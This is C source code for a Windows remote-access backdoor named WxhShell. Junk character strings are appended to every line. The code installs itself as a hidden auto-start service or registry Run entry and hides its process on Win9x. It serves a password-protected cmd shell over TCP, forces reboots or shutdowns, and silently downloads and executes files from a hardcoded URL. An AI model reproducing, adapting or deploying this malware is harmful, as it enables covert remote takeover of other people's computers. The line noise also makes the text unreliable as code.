    } d5fnJ*a>l  
    break; fAm^-uq[  
    } !fZ\GOx  
  // 关机 w<<>XIL  
  case 'd': { 3ox%1x NA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I!dA{INN  
    if(Boot(SHUTDOWN)) CO%7^}xSE,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GL_YT.(!  
    else { B^P)(Nu+  
    closesocket(wsh); UX;?~X  
    ExitThread(0); VUxuX5B3M  
    } Xa=oryDt  
    break; tq H7M0Ry  
    } __teh>MC  
  // 获取shell ^Wo/vm*]  
  case 's': { <iuESeDG  
    CmdShell(wsh); )o;/*h%@  
    closesocket(wsh); iagl^(s  
    ExitThread(0); K PSFy<  
    break; q.U` mtS  
  } 9u^PM  
  // 退出 ~m8".Z"  
  case 'x': { rCGXHbj%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $~!%Px)  
    CloseIt(wsh); R2vT\ 6xv  
    break; g(B&A P_e  
    } _t|| v  
  // 离开 JGOry \  
  case 'q': { $wg5q\Rv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N4I`6uDgD  
    closesocket(wsh); d00#;R  
    WSACleanup(); B>rz<bPT  
    exit(1); r@ujE,D=k  
    break; X0Zqx1  
        } 3_|<CE6  
  } W@`2+}  
  } X]8(_[Y  
Q^prHn*@  
  // 提示信息 aUa.!,_dh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a$r- U_?  
} $nF|n+m  
  } O B`(,m#  
b3F)$UQ  
  return; -0r 0M )  
} v/*}M&vo  
k#uSH eq7f  
// shell模块句柄 AD K)p?  
int CmdShell(SOCKET sock) ^\ A[^' 9  
{ 4&X D  
STARTUPINFO si; r+n0M';0  
ZeroMemory(&si,sizeof(si)); <*EMcZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?!^ow5"8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n75)%-  
PROCESS_INFORMATION ProcessInfo; k>E^FB=  
char cmdline[]="cmd"; fb-Lp#!T39  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FlGU1%]m  
  return 0; pqe7a3jr  
} |eykb?j`  
uzg(C#sp  
// 自身启动模式 J{;XNf =  
int StartFromService(void) KBE3q)  
{ s|F}Abx,^  
typedef struct (VD Y]Q)  
{ q\s"B.(G"  
  DWORD ExitStatus; NIgqdEu1  
  DWORD PebBaseAddress; 2t 6m#  
  DWORD AffinityMask; DmU,}]#:  
  DWORD BasePriority; >RJjm&M  
  ULONG UniqueProcessId; 7irpD7P>  
  ULONG InheritedFromUniqueProcessId; -fpe  
}   PROCESS_BASIC_INFORMATION; H3-(.l[!b)  
-]el_:H  
PROCNTQSIP NtQueryInformationProcess; E|{(O  
%"-bG'Yc  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <G|i!Pm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j5m KJC  
!q\MXS($#u  
  HANDLE             hProcess; ]QKo>7%[  
  PROCESS_BASIC_INFORMATION pbi; YBh|\  
)U12Rshl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >[}lC7 z,  
  if(NULL == hInst ) return 0; R !g'zS'  
GWFF.Mo^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yq.<,b=87  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f~Y;ZvB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4`yE'%6.}  
mi[t1cN)=  
  if (!NtQueryInformationProcess) return 0; OT 0%p)  
)5T82=[h<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wcH,!;3z+  
  if(!hProcess) return 0; }uZ/^_U.  
@$}Ct  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4>^LEp  
`%QXaKO-  
  CloseHandle(hProcess); (#kKL??W  
Hjhgu=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &~mJ ).*  
if(hProcess==NULL) return 0; '8J!(+  
YRg"{[+#]k  
HMODULE hMod; <O Y (y#x  
char procName[255]; [|".j#ZlK  
unsigned long cbNeeded; srPczVG*  
U!d|5W.{Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zh{,.c  
{wy{L-X  
  CloseHandle(hProcess); U#V&=~-  
8[b_E5!V  
if(strstr(procName,"services")) return 1; // 以服务启动 ES-V'[+jDy  
T:T`M:C.  
  return 0; // 注册表启动 K|pg'VT"  
} [ Y+Ta,  
Az7 ] qb  
// 主模块 :@uIEvD?  
int StartWxhshell(LPSTR lpCmdLine) (1EtC{ m  
{ ZnKjU ]m  
  SOCKET wsl; p{ Xde   
BOOL val=TRUE; vtq$@#?~ b  
  int port=0; xU/7}='T  
  struct sockaddr_in door; |kY}G3/  
clG@]<a`_  
  if(wscfg.ws_autoins) Install(); 7|5X> yt  
Ii9[[I  
port=atoi(lpCmdLine); F f{,zfN+3  
<%o9*)F  
if(port<=0) port=wscfg.ws_port; dGyrzuPJ  
D@2L<!\  
  WSADATA data; arIEd VfNa  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Gv[s86AP,  
1=Z!ZY}}e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3Ccy %;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); InI>So%e|<  
  door.sin_family = AF_INET; 3v@h&7<E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Brts ig,4  
  door.sin_port = htons(port); SJB^dI**/d  
(C;Q<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Rh}}8 sv  
closesocket(wsl); zO`4W!x&  
return 1; @(bg#  
} C.BlB  
2HUw^ *3  
  if(listen(wsl,2) == INVALID_SOCKET) { }?\^^v h7  
closesocket(wsl); 7fI2b,~  
return 1; 7nm'v'\u+V  
} ,,SV@y;  
  Wxhshell(wsl); i;rcg d  
  WSACleanup(); H;R~d%!b  
6hMKAk  
return 0; #f [}a  
#c!rx%8I  
} Lqdapx"Z_  
}DQTy.d;P  
// 以NT服务方式启动 78 w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U9ZuD40\  
{ It7R}0Smg  
DWORD   status = 0; tr5j<O  
  DWORD   specificError = 0xfffffff; SRtw  
Jz}`-fU`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; VKkvf"X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QM![tZt%;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0SfW:3  
  serviceStatus.dwWin32ExitCode     = 0; B0U(B\~Y  
  serviceStatus.dwServiceSpecificExitCode = 0; Bn9#F#F<  
  serviceStatus.dwCheckPoint       = 0; m]vS"AdX  
  serviceStatus.dwWaitHint       = 0; X%)~i[_DV  
hq&|   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @DIEENiM  
  if (hServiceStatusHandle==0) return; #dKy{Q3he  
Vm8@ LA  
status = GetLastError(); y XKddD  
  if (status!=NO_ERROR) `Xz!apA  
{ C1'y6{,@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {,i-V57-h  
    serviceStatus.dwCheckPoint       = 0; *Y?oAVkz  
    serviceStatus.dwWaitHint       = 0; 4(*PM&'R  
    serviceStatus.dwWin32ExitCode     = status; )Gavjj&uJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; DuNindo 8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 99.F'Gz  
    return; YA@MLZm  
  } c7~R0nP  
cnS;9=,&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |.,]0CRg  
  serviceStatus.dwCheckPoint       = 0; Y)DAR83  
  serviceStatus.dwWaitHint       = 0; a2Nxpxho  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WW.@&#S5  
} }toe'6  
m~ 5"q%;  
// 处理NT服务事件,比如:启动、停止 ;DSH$'1i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aZ$5"  
{ Y0.'u{J*  
switch(fdwControl) S2DG=hi`GK  
{ 67hfve  
case SERVICE_CONTROL_STOP: gROK4'j6y  
  serviceStatus.dwWin32ExitCode = 0; 0^R, d M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zz[fkH3  
  serviceStatus.dwCheckPoint   = 0; % YK xdp  
  serviceStatus.dwWaitHint     = 0; ywl=@  
  { #bBh. ^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UOsK(mB  
  } #M{qMJHDo  
  return; &&m3E=K!^  
case SERVICE_CONTROL_PAUSE: /!2`pv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H0#=oJr$)W  
  break; ]iGeqwT  
case SERVICE_CONTROL_CONTINUE: 9@ YKx0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yq49fEgc@U  
  break; 6F!B*lr  
case SERVICE_CONTROL_INTERROGATE: 8 eK8-R$  
  break; $&&E[JY  
}; 2mn AL#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^P^%Q)QXl  
} Gc"hU:m  
E(j# R"  
// 标准应用程序主函数 P woiX#vz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  *<W8j[?  
{ S\h5 D2G;  
HO['o{>BL  
// 获取操作系统版本 hO&b\#@~  
OsIsNt=GetOsVer(); ! ig& 8:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); GLyPgZ`|  
:^ WF% X  
  // 从命令行安装 GyWa=KW.u  
  if(strpbrk(lpCmdLine,"iI")) Install(); 71\53Qr#U  
3ZI7;Gw  
  // 下载执行文件 &}[P{53sr  
if(wscfg.ws_downexe) { C6[W/,eS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &n )MGg1%  
  WinExec(wscfg.ws_filenam,SW_HIDE); &:g:7l]g  
} (z>t4(%\  
i?Pnyi  
if(!OsIsNt) { ,bXZ<RY$  
// 如果时win9x,隐藏进程并且设置为注册表启动 C=V2Y_j  
HideProc(); 1Vdi5;dn  
StartWxhshell(lpCmdLine); F'b%D  
} ,#UZp\zZ*  
else z,4mg6gt  
  if(StartFromService()) ' {UKO7   
  // 以服务方式启动 ] re=8s6  
  StartServiceCtrlDispatcher(DispatchTable); E#!!tH`lgg  
else $GFR7YC 7  
  // 普通方式启动 fE+zA)KX  
  StartWxhshell(lpCmdLine); 7n6g;8xE  
k1q/L|')  
return 0; oDV6[e  
} ;o3gR4u_L  
J _;H  
.Zczya  
RC/ 3\ '  
=========================================== 4_kN';a4Q  
N=BG0t$  
(_zlCHB  
*$g!/,  
k_L`  
GeTk/tU  
" ,< x/  
*u1q7JFQk  
#include <stdio.h> &jHsFS  
#include <string.h> v^b4WS+.:  
#include <windows.h> (tX3?[ii  
#include <winsock2.h> NC%hsg^0/  
#include <winsvc.h> x{SlJ%V  
#include <urlmon.h> T:$^1"\  
u1$6:"2@5k  
#pragma comment (lib, "Ws2_32.lib") ? +L,  
#pragma comment (lib, "urlmon.lib") \4q|Qno8  
qK a}O*  
#define MAX_USER   100 // 最大客户端连接数 GYfOwV!zB  
#define BUF_SOCK   200 // sock buffer [|OII!"  
#define KEY_BUFF   255 // 输入 buffer P[ WkW#  
HCs^?s8Pp  
#define REBOOT     0   // 重启 +QU>D:l  
#define SHUTDOWN   1   // 关机 Sp80xV_B  
(c(F1=K  
#define DEF_PORT   5000 // 监听端口 FKTF?4+\U  
;"Kgg:K>W  
#define REG_LEN     16   // 注册表键长度 5, 1<A@H  
#define SVC_LEN     80   // NT服务名长度 0cq@lT6  
-!Myw&*\V  
// 从dll定义API A/>Q5)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (QiA5!wg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +gX,r$bX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L'e^D|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &/? Ct!_  
+:.Jl:fx4  
// wxhshell配置信息 =EP`,zqn$9  
struct WSCFG { {h@\C|nF  
  int ws_port;         // 监听端口 c4Zpt%:}h  
  char ws_passstr[REG_LEN]; // 口令 K:a8}w>Up  
  int ws_autoins;       // 安装标记, 1=yes 0=no sQa;l]O:NC  
  char ws_regname[REG_LEN]; // 注册表键名 [34N/;5  
  char ws_svcname[REG_LEN]; // 服务名 Cf=H~&`Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 tp] 5[U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [yXmnrxA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2'Dl$DH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sllT1%?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "l56?@-x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `N *:,8j  
A)&FcMO*z  
}; 0 N,<v7PX  
s1D<R,J|H  
// default Wxhshell configuration ={O ~  
struct WSCFG wscfg={DEF_PORT, :Z//  
    "xuhuanlingzhe", H2s:M  
    1, _J l(:r\%  
    "Wxhshell", {Yj5Mj|#  
    "Wxhshell", OoSk^U)  
            "WxhShell Service", ,-#MEr  
    "Wrsky Windows CmdShell Service", mVZh_R=a  
    "Please Input Your Password: ", !CGX\cvW  
  1, u#@/^h;  
  "http://www.wrsky.com/wxhshell.exe", W%!(kN&d  
  "Wxhshell.exe" 8wsU`40=Q  
    }; 0>sa{Z  
U>E: Ub0r  
// 消息定义模块 fwFJe(.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xol%\$|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6{y7e L3!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fCr2'+O"b  
char *msg_ws_ext="\n\rExit."; t1FtYXv`/  
char *msg_ws_end="\n\rQuit."; exb} y  
char *msg_ws_boot="\n\rReboot..."; gJ6`Kl985O  
char *msg_ws_poff="\n\rShutdown..."; LTWkHy x  
char *msg_ws_down="\n\rSave to "; V)^Xz8H_  
,MCTb'=G  
char *msg_ws_err="\n\rErr!"; +`HMl;0m  
char *msg_ws_ok="\n\rOK!"; E=s,-  
1>J.kQR^  
char ExeFile[MAX_PATH]; H#TkIFo]  
int nUser = 0; P}@AH02  
HANDLE handles[MAX_USER]; ~Ru\Z-q1  
int OsIsNt; 7ftn gBv?  
QH/py  
SERVICE_STATUS       serviceStatus; TpKAdrY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3f7zW3F  
=?RI`}vw_H  
// 函数声明  =_dM@j  
int Install(void); ^[?y 2A:  
int Uninstall(void); <~ smBd  
int DownloadFile(char *sURL, SOCKET wsh); p;+O/'/j  
int Boot(int flag); N[I@}j  
void HideProc(void); XN df  
int GetOsVer(void); UBaXS_c\  
int Wxhshell(SOCKET wsl); ]RCo@QW  
void TalkWithClient(void *cs); GE/!$3  
int CmdShell(SOCKET sock); ]Y\$U<YjO  
int StartFromService(void); .@VZ3"  
int StartWxhshell(LPSTR lpCmdLine); !mNst$-H4  
24jf`1XFW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W0gS>L_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0'Pjnk-i  
VE )D4RL  
// 数据结构和表定义  Unk/uk  
SERVICE_TABLE_ENTRY DispatchTable[] = @{y'_fw  
{ *7!MG  
{wscfg.ws_svcname, NTServiceMain}, Xh@K89`uX  
{NULL, NULL} ^Oz~T|)  
}; ?xj8a3F  
-zg*p&F  
// 自我安装 /Y0~BQC7!  
int Install(void) tdm7MPM  
{ ?:;;0kSk  
  char svExeFile[MAX_PATH]; b RR N  
  HKEY key; UQl?_ [G  
  strcpy(svExeFile,ExeFile); F!vrvlD`s  
j 6qtR$l|  
// 如果是win9x系统,修改注册表设为自启动 7V"?o  
if(!OsIsNt) { W'./p"2g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yYCS-rF>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7Nq< o5  
  RegCloseKey(key); Vebv!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YdhTjvx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r[L.TX3Ah=  
  RegCloseKey(key); 9Dx~! (  
  return 0; P#O" {+`  
    } cE\w6uBR1  
  } [3Q0KCZ0(  
} t#NPbLZ  
else { FZ- Wgh 0z  
=6sP`:  
// 如果是NT以上系统,安装为系统服务 G+ /Q!ic  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,>j3zjf^  
if (schSCManager!=0) 7'\. Q J!<  
{ J6Ilg@}\  
  SC_HANDLE schService = CreateService m%|\AZBA#  
  ( ^z *0  
  schSCManager, !<w6j-S  
  wscfg.ws_svcname, S@qPf0dL<  
  wscfg.ws_svcdisp, B {Cm`f8E  
  SERVICE_ALL_ACCESS, R$:-~<O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @@ Q4{o  
  SERVICE_AUTO_START, zIc6L3w$  
  SERVICE_ERROR_NORMAL, DsdM:u*s  
  svExeFile, fQoAdw  
  NULL, b^W&-Hh  
  NULL, IL@yGuO,  
  NULL, !:+U-mb*  
  NULL, tV++QC7@L  
  NULL P y'BMk  
  ); Z518J46o  
  if (schService!=0) [+[ W\6  
  { lS=YnMs6a  
  CloseServiceHandle(schService); <-`bWz=+  
  CloseServiceHandle(schSCManager); ufL,K q4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g#I`P&  
  strcat(svExeFile,wscfg.ws_svcname); ;j0.#P:a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e9p/y8gC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); : /5+p>Ep}  
  RegCloseKey(key); MfQ0O?oBp  
  return 0; maa pX/J  
    } G@s:|oe  
  } c^|8qvS $  
  CloseServiceHandle(schSCManager); Z!v,;MW  
} @[^ 3y C#  
} eu(Fhs   
]5'*^rz ^  
return 1; _c]}m3/  
} ]TrJ*~  
30h[&Oc  
// 自我卸载 +k=*AQt^8  
int Uninstall(void) ]@U?hD  
{ SqAz((  
  HKEY key; nDkG}Jk B!  
5H._Q  
if(!OsIsNt) { u$w.'lK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @5Z|e  
  RegDeleteValue(key,wscfg.ws_regname); {V[xBL <  
  RegCloseKey(key); |]kiH^Ap  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W 8<QgpV*  
  RegDeleteValue(key,wscfg.ws_regname); _kD5pC =  
  RegCloseKey(key); lg|6~=aQ  
  return 0; h#zm+([B*  
  } i}T* | P  
} 5zS%F: 3  
} ei2?H;H;  
else { DS8HSSD  
2?,l r2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dwn|1%D  
if (schSCManager!=0) 8i6iynR  
{ c<1$ zQY!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t_/qd9Jv  
  if (schService!=0) o9sQ!gptw  
  { GVT 6cR  
  if(DeleteService(schService)!=0) { !MSa -  
  CloseServiceHandle(schService); i%yKyfD  
  CloseServiceHandle(schSCManager); +HE,Q6-A  
  return 0; Yte*$cJ=  
  } ( %sf wv  
  CloseServiceHandle(schService); 1XS~b-St  
  } MKtI 3vi?  
  CloseServiceHandle(schSCManager); 51}C`j|V3{  
} 2K~v`c*4  
} {:cGt2*~^  
$ (&uaDYv  
return 1; Z{3=.z{&^=  
} y95  #t  
eHx {[J?  
// 从指定url下载文件  o]0E  
int DownloadFile(char *sURL, SOCKET wsh) B)k/]vz)*D  
{  !5 S#  
  HRESULT hr; DvWBvs,  
char seps[]= "/"; _~Lu%   
char *token; |f}wOkl  
char *file; `c:r`Oi?  
char myURL[MAX_PATH]; ZZi 9<g1  
char myFILE[MAX_PATH]; 6X ]I`e  
? ~ybFrc  
strcpy(myURL,sURL); mcwd2)  
  token=strtok(myURL,seps); qRT5|\l  
  while(token!=NULL) Fmn_fW6  
  { ",YNphjAn  
    file=token; qLBQ!>lR  
  token=strtok(NULL,seps); 8Ogg(uS70'  
  } ''2:ZXX  
6@Q; LV+  
GetCurrentDirectory(MAX_PATH,myFILE); V^(W)\  
strcat(myFILE, "\\"); 5P*jGOg.  
strcat(myFILE, file); 319 4]  
  send(wsh,myFILE,strlen(myFILE),0); QP%AJ[3ea%  
send(wsh,"...",3,0); .9DhD=8aIO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P'}EZ'  
  if(hr==S_OK) JNU9RxR  
return 0; u}'m7|)8  
else d3oRan}z  
return 1; )m-(-I  
} %3;j5 ;6  
} 9 'X"a  
g9GPy U  
// 系统电源模块 =j_4!^  
int Boot(int flag) ml~ )7J  
{ p+I`xyk  
  HANDLE hToken; :t;\`gQoS  
  TOKEN_PRIVILEGES tkp; 6/a%%1c1  
KYhL}C+  
  if(OsIsNt) { :hHKm|1FE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kH06Cb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5G<`c  
    tkp.PrivilegeCount = 1; *<9M|H~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SOD3MsAK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $hM9{  
if(flag==REBOOT) { Kd}%%L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .Sm 8t$  
  return 0; RaiYq#X/  
} rl"yE=  
else { /0L]Pf;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .ErR-p=-  
  return 0; ^b&hy&ag  
} E]Cm#B  
  } 3&X5*-U  
  else { 'fb&3  
if(flag==REBOOT) { ]<},[s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7CT446  
  return 0; .j!:Hp(z}  
} 2V @ pt  
else { 5"#xbvRS0H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j97c@  
  return 0; RZvRV?<bR  
} uL-$^],  
} GyE5jh2  
LNgFk%EH  
return 1; +SFo2Wdr43  
} *@ \LS!N  
Ob'[W;p)[w  
// win9x进程隐藏模块 [c>YKN2qa  
void HideProc(void) ?.I1"C,#VJ  
{ Y Odwd}M  
gZ (\/m8Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -OQ6;A"#  
  if ( hKernel != NULL ) 6.v)q,JL  
  { J@N q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K>+c2;t;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); En+`ZcA\z  
    FreeLibrary(hKernel); }g.)%Bw!  
  } m]++ !  
M4XU*piz  
return; btf]~YN  
} 9@(V!G  
#1>c)_H  
// 获取操作系统版本 ?cr^.LV|h^  
int GetOsVer(void) xqVIw!J?/}  
{ U,9=&"e b  
  OSVERSIONINFO winfo; Jpe\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Nrp1`qY  
  GetVersionEx(&winfo); P= 26! b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v~O2y>8Z  
  return 1; &-.2P!t  
  else ! "^//2N+,  
  return 0; +_fxV|}P  
} 7baQ4QY?n  
y#{> tC  
// 客户端句柄模块 LZpqv~av  
int Wxhshell(SOCKET wsl) 2)`4(38  
{ 0o!Egq_  
  SOCKET wsh; $T'lWD*  
  struct sockaddr_in client; 3}?]G8iL?L  
  DWORD myID; ue6&)7:~  
*Q3q(rdrp  
  while(nUser<MAX_USER) gDsb~>rb|  
{ sU?%"q  
  int nSize=sizeof(client); nrZZkQNI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A3e83g~L  
  if(wsh==INVALID_SOCKET) return 1; 9<!Ie^o?  
)e\IdKl=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H|!|fo-Tx  
if(handles[nUser]==0) pL'+sW  
  closesocket(wsh); OEgp!J  
else &q[`lIV,L  
  nUser++; )mXu{uowr  
  } 2G`tS=Un  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~LN {5zg  
3hzKd_  
  return 0; K<w$  
} U{.yX7  
|NWo.j>4-  
// 关闭 socket }W* q  
void CloseIt(SOCKET wsh) lZ}H?n%  
{ B}p{$g!  
closesocket(wsh); }Ias7d?re  
nUser--; q6>%1~?  
ExitThread(0); |lf,3/*jDB  
} g)~"-uQQ  
k| ,F/:  
// 客户端请求句柄 #ANbhHG  
void TalkWithClient(void *cs) ~Wj. 4b*  
{ Xkb\fR6<K  
-Fs<{^E3j  
  SOCKET wsh=(SOCKET)cs; 9r hl2E  
  char pwd[SVC_LEN]; eB*0})  
  char cmd[KEY_BUFF]; B=+Py%  
char chr[1]; kC-OZVoO  
int i,j; >a2i%j/T  
Sy`7})[  
  while (nUser < MAX_USER) { CrI:TB>/ "  
 [E|%  
if(wscfg.ws_passstr) { iwnFCZVS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rXu^]CK *G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .~dNzonq  
  //ZeroMemory(pwd,KEY_BUFF); ;JQ;LbEn  
      i=0; qm=N@@R&  
  while(i<SVC_LEN) { EAXbbcV  
z 7g=L@   
  // 设置超时 =?g B@vS  
  fd_set FdRead; Qc]Ki3ls  
  struct timeval TimeOut; 6` @4i'.  
  FD_ZERO(&FdRead); %oE3q>S$en  
  FD_SET(wsh,&FdRead); S+&Bf ~~D  
  TimeOut.tv_sec=8; #Rcb iV*M  
  TimeOut.tv_usec=0; Ves x$!F#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jpek=4E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P+nd?:cz  
[oh0 )wzB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E#m|Sq  
  pwd=chr[0]; vCS D1~V_  
  if(chr[0]==0xd || chr[0]==0xa) { P<A_7Ho  
  pwd=0; 2^$Ha|  
  break; `8D}\w<eI  
  } &;Jg2f%.  
  i++; S 7 *LV;  
    } s xp>9&  
8C>\!lW"  
  // 如果是非法用户,关闭 socket fC$(l@O?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^9*kZV<K  
} V1Opp8  
0B?t:XU,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TmIw?#q^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :N ~A7@  
`suEN @^  
while(1) { $,9A?'  
ny{Yr>:2  
  ZeroMemory(cmd,KEY_BUFF); h#7p&F  
vhOX1'  
      // 自动支持客户端 telnet标准   K/Qo~  
  j=0; 9d_ Zdc  
  while(j<KEY_BUFF) { f,}9~r #  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rsgTd\b  
  cmd[j]=chr[0]; #.^A5`k  
  if(chr[0]==0xa || chr[0]==0xd) { $(8CU$gi=  
  cmd[j]=0; I=G-(L/&  
  break; . +  
  } <@z!kl  
  j++; HX p $\%A)  
    } txp^3dZ`^  
&3_.k  
  // 下载文件 YZyV   
  if(strstr(cmd,"http://")) { -\V!f6Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,`O.0e4pn  
  if(DownloadFile(cmd,wsh)) QpZ CU]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5:sk&0:@U  
  else $)6%LG_@  
